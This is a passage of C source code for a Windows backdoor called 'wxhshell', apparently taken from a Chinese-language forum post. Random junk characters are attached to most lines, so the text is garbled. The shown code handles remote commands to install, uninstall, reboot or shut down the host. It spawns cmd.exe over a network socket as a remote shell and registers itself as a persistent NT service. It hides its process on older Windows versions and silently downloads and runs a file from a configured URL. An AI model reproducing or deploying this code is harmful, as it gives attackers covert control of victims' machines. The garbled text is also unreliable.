      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); AVLY|79#  
    break; >|RoLV  
  } "Ai\NC  
  // 安装 &V 7J5~_  
  case 'i': { Y>3zpeQ!&  
    if(Install()) ;Egl8Vhr  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 6I(Y<LZ5  
    else {.oz^~zs]g  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); u= dj3q  
    break; &bJBsd@Os  
    } R%r25_8  
  // 卸载 4_>;|2  
  case 'r': { ncadVheKt  
    if(Uninstall()) 6?5dGYAX<  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 6H2Bf*i  
    else GKEOjaE  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); H ABUf^~-  
    break; -ewR:Y@j  
    } ]6^S: K_"  
  // 显示 wxhshell 所在路径 4xT /8>v2|  
  case 'p': { /zh:7N  
    char svExeFile[MAX_PATH]; Ie!">8."  
    strcpy(svExeFile,"\n\r"); }BW&1*M{  
      strcat(svExeFile,ExeFile); Chl^LEN:  
        send(wsh,svExeFile,strlen(svExeFile),0); dY. X/f  
    break; eN5F@isy  
    } VWt=9D;  
  // 重启 |g \ _xl  
  case 'b': { \kV|S=~@  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); #l+Rs3T:  
    if(Boot(REBOOT)) LtwfL^#  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 88:YU4:l`N  
    else { VDv.N@ ) 7  
    closesocket(wsh); zk3\v "  
    ExitThread(0); 8(- 29  
    } 45wqX h  
    break; _~tF2`,Y_p  
    } dpchZ{  
  // 关机 fup?Mg-  
  case 'd': { \kKd:C{  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); wbr$w>n  
    if(Boot(SHUTDOWN)) 3%Q<K=jy  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); R f)|p;  
    else { Ok)f5")N %  
    closesocket(wsh); /ho7~C+H*e  
    ExitThread(0); #X``^  
    } ;2`t0#J$]  
    break; 1Hhr6T^)  
    } 6yUThv.G#  
  // 获取shell %j@/Tx/  
  case 's': { *qL'WrB1  
    CmdShell(wsh); cGo_qR/B(>  
    closesocket(wsh); 0FL'8!e<  
    ExitThread(0); _d7;Z%  
    break; v1+.-hO  
  } h8M_Uk  
  // 退出 9 4bDJy1  
  case 'x': { "fv+}'  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); mHW%^R=  
    CloseIt(wsh); x]hG2on!  
    break; 0n4(Rj|}2  
    } !s$1C=z5u  
  // 离开 b^<7a&  
  case 'q': { /EQ^-4yr  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); !"/"Mqs3$  
    closesocket(wsh); Zw4%L?   
    WSACleanup(); pHoxw|'Y  
    exit(1); 4_2oDcdf  
    break; {C?$osrr  
        } jC:D>  
  } N0$ uB"  
  } z*b|N45O  
ukW L3  
  // 提示信息 ;[Xf@xf  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 9X1vL  
} c*axw%Us  
  } h7.jWJTo  
$z)egh(z  
  return; >(YH@Z&;  
} t]vv&vk>  
o*d(;  
// shell模块句柄 +7lr#AvU/  
int CmdShell(SOCKET sock) N|"q6M !ZL  
{ |FaK =e  
STARTUPINFO si; j5n"LC+oz  
ZeroMemory(&si,sizeof(si)); )BaGY  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; WFFd3TN%<  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; pcOKC0b.  
PROCESS_INFORMATION ProcessInfo; ZF#lh]  
char cmdline[]="cmd"; e{4e<hd  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); d6m&nj  
  return 0; ??#EG{{  
} /18fpH|  
DH$Nz  
// 自身启动模式 K'Wv$[~Dc  
int StartFromService(void) Z3Ww@&bU  
{ .!2 u#A  
typedef struct tqB6:p-%  
{ 6r%i=z  
  DWORD ExitStatus; r-WX("Vvh  
  DWORD PebBaseAddress; 8In~qf  
  DWORD AffinityMask; I3Z\]BI  
  DWORD BasePriority; @3b@]l5  
  ULONG UniqueProcessId; %/nDG9l  
  ULONG InheritedFromUniqueProcessId; K'E)?NW69  
}   PROCESS_BASIC_INFORMATION; EN}4-P/5  
G:|]w,^i  
PROCNTQSIP NtQueryInformationProcess; ^*y 1Fn0  
4 8; b  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; c\szy&W  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; RMs8aZCa  
FL$S_JAw  
  HANDLE             hProcess; 1B 0[dK2N  
  PROCESS_BASIC_INFORMATION pbi; U? U3?Y-k`  
X g7xy>{]  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); <?;KF2A({  
  if(NULL == hInst ) return 0; PRyzvc~  
VggSDb  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); J5f}-W@  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); KxhWZ3  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); UpQda`rb  
Y2ON!Rno  
  if (!NtQueryInformationProcess) return 0; 5YI6$ZdQ  
4`V&Yqwl  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); wYS r.T8Q  
  if(!hProcess) return 0; 3F6A.Ny  
%\'G2  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0;  l]   
X*Q<REDB  
  CloseHandle(hProcess); u Vv %k5  
G_k_qP^:  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); z -]ND  
if(hProcess==NULL) return 0; hVZS6gU,x  
931GJA~g  
HMODULE hMod; o~xGE6A*"  
char procName[255]; d,'gh4C  
unsigned long cbNeeded; 4] u\5K-  
jQfnc:'  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); NSzTl-eS  
* +6Z^ 7  
  CloseHandle(hProcess); x>J(3I5_b  
Cnu])R  
if(strstr(procName,"services")) return 1; // 以服务启动  ,HNk<W  
"r@G V5ED  
  return 0; // 注册表启动 $RC)e 7  
} elD|b=(-  
c4Q%MRR  
// 主模块 X VH( zJ  
int StartWxhshell(LPSTR lpCmdLine) FId,/la  
{ NJ$Qm.S  
  SOCKET wsl; 79jnYjk  
BOOL val=TRUE; ^`$-c9M?'  
  int port=0; C(xsMO'k,,  
  struct sockaddr_in door; y<BG-  
Xoq -  
  if(wscfg.ws_autoins) Install(); ;<F^&/a|yQ  
\ZSqZDq  
port=atoi(lpCmdLine); :"i2`y;u  
/Ea&Zm  
if(port<=0) port=wscfg.ws_port; (2RuQgO  
B\ZCJaMb  
  WSADATA data; ^%U`|GBZp  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; B" ]a8}u  
P+e{,~o  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   p7.~k1h  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); pQ ul0]  
  door.sin_family = AF_INET; zf\$T,t)  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); k$Ug;`v#  
  door.sin_port = htons(port); Io /;+R .  
gEgd/Le  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 5RF*c,cNq  
closesocket(wsl); BISH34  
return 1; =""5 c  
} je%y9*V  
p~-)6)We?  
  if(listen(wsl,2) == INVALID_SOCKET) { QZL,zI]LL  
closesocket(wsl); j0=H6Y  
return 1; 9`&sZ|"3  
} }n,LvA@[0  
  Wxhshell(wsl); 1 :{+{Yl7  
  WSACleanup(); ZlQ&m  
jS#YqVuN  
return 0; *oh,Va  
dL1{i,M  
} L5wFbc"u  
\ ~C/  
// 以NT服务方式启动 Ga <=Di):  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) ;hd%w mE  
{ +.u HY`A  
DWORD   status = 0; #=F{G4d)!=  
  DWORD   specificError = 0xfffffff; 8SupoS  
T.WN9= N  
  serviceStatus.dwServiceType     = SERVICE_WIN32; \M Av's4b@  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; BY$L[U;@T  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; I5Rd~-="G  
  serviceStatus.dwWin32ExitCode     = 0; 6>b#nFVJ  
  serviceStatus.dwServiceSpecificExitCode = 0; sei%QE]!/  
  serviceStatus.dwCheckPoint       = 0; [E9_ZdB T  
  serviceStatus.dwWaitHint       = 0; cNy*< Tv  
W$gjcsv  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); oRmA\R*  
  if (hServiceStatusHandle==0) return; [a#*%H{OC  
C5X!H_p  
status = GetLastError(); rF/<}ye/4M  
  if (status!=NO_ERROR) &mba{O  
{ |Fx~M,Pzg  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; PaDm"+H@  
    serviceStatus.dwCheckPoint       = 0; =< P$mFP2*  
    serviceStatus.dwWaitHint       = 0; 8xoC9!xt  
    serviceStatus.dwWin32ExitCode     = status; K8v@)  
    serviceStatus.dwServiceSpecificExitCode = specificError; a,xy3 8T<  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); aMxM3"  
    return; ABq#I'H#@2  
  } Ou|kb61zg  
uPb.uG  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; r;"Qu  
  serviceStatus.dwCheckPoint       = 0; GCxmqoQ  
  serviceStatus.dwWaitHint       = 0; }AS3]Lub@  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 8(!?y[  
} h~Z:YY)4  
<^e  
// 处理NT服务事件,比如:启动、停止 +rDKx(Rk  
VOID WINAPI NTServiceHandler(DWORD fdwControl) kr44@!s+'  
{ FJsM3|{2=d  
switch(fdwControl) UQBc$`v  
{ H 9?txNea  
case SERVICE_CONTROL_STOP: Jg6@)<n  
  serviceStatus.dwWin32ExitCode = 0; ;"NW= P&  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; * YLp C^&  
  serviceStatus.dwCheckPoint   = 0; d(,M  
  serviceStatus.dwWaitHint     = 0; Z3dI B`@  
  { ypTH=]y  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); U@LIw6B!KL  
  } iu`B8yI  
  return; T^2o' _:  
case SERVICE_CONTROL_PAUSE: q9nQ/]rkHF  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; MX|@x~9W  
  break; _u#r;h[  
case SERVICE_CONTROL_CONTINUE: 5^N` ~  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; WG&WPV/p  
  break; u)Vn7zh  
case SERVICE_CONTROL_INTERROGATE: c:-n0m'i  
  break; V~QOl=`K:  
}; Z:VT%-  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 6'.CW4L  
} [-nPHmZV[  
G;J!3A;TE  
// 标准应用程序主函数 h- %RSei5  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) X $SXDb~G  
{ [qxDCuxq  
y# IUDnRJ  
// 获取操作系统版本 CmtDfE  
OsIsNt=GetOsVer(); [tJp^?6*  
GetModuleFileName(NULL,ExeFile,MAX_PATH); 6^z):d#u  
!*,m=*[3  
  // 从命令行安装  N1dM,H  
  if(strpbrk(lpCmdLine,"iI")) Install(); E$4Ik.k  
wqJ1^>TB  
  // 下载执行文件 0E^S!A 7  
if(wscfg.ws_downexe) { |_16IEJ  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) dF+:9iiAm  
  WinExec(wscfg.ws_filenam,SW_HIDE); "iuNYM5 P  
} HQc^ybX5  
`OWwqLoeA  
if(!OsIsNt) { %eJE@$  
// 如果时win9x,隐藏进程并且设置为注册表启动 vZ|Wj] ;o  
HideProc(); *>jJ<8!  
StartWxhshell(lpCmdLine); 6I\4Yv$N  
} zoau5t  
else !Ic~_7"  
  if(StartFromService()) 3Zm;:v4y  
  // 以服务方式启动 Qt=OiKZ  
  StartServiceCtrlDispatcher(DispatchTable); ^:ehG9  
else uh3<%9#\k  
  // 普通方式启动 H  `_{n<  
  StartWxhshell(lpCmdLine); 5Qxm\?0J  
VW**N}1#C  
return 0; -'j|U[&N\  
}
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只看该作者 1 发表于: 2006-10-10
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